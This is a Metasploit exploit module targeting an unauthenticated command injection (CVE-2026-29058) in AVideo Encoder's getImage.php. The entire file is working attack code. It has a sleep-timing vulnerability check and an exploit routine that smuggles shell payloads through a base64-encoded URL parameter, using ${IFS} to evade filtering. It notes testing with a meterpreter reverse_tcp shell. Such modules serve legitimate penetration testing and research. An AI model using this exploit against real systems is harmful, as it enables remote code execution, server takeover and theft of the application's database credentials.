## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated OS command injection vulnerability in AVideo Encoder's getImage.php endpoint (CVE-2026-29058). The base64Url GET parameter is base64-decoded and injected directly into an ffmpeg shell command within double quotes, without any sanitization or use of escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell metacharacters such as $() in the URL path, allowing command substitution. A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data. The Encoder code is served by the main AVideo Apache container (mounted at /Encoder), so exploitation gives access to the main application context including database credentials and configuration. Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg() and shell metacharacter stripping. }, 'Author' => [ 'arkmarta', # Vulnerability discovery -- props to you man 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-29058'], ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder'] ], 'Privileged' => false, 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, # tested with cmd/linux/http/x64/meterpreter/reverse_tcp 'DefaultOptions' => { 'ENCODER' => 'generic/none', 'FETCH_WRITABLE_DIR' => '/tmp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-03-05', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']) ]) end def check res = send_getimage('true') return CheckCode::Unknown('Failed to connect to the target.') unless res return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200 hits = 0 3.times do |i| sleep_time = rand(1..3) vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...") _, elapsed = Rex::Stopwatch.elapsed_time do send_getimage("sleep${IFS}#{sleep_time}") end next unless elapsed >= (sleep_time - 0.5) vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed") hits += 1 end return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2 CheckCode::Safe('getImage.php is accessible but command injection did not trigger') end def exploit print_status('Sending command injection via getImage.php...') send_getimage(payload.encoded.gsub(' ', '${IFS}')) end def send_getimage(cmd) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'), 'method' => 'GET', 'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' } }) end end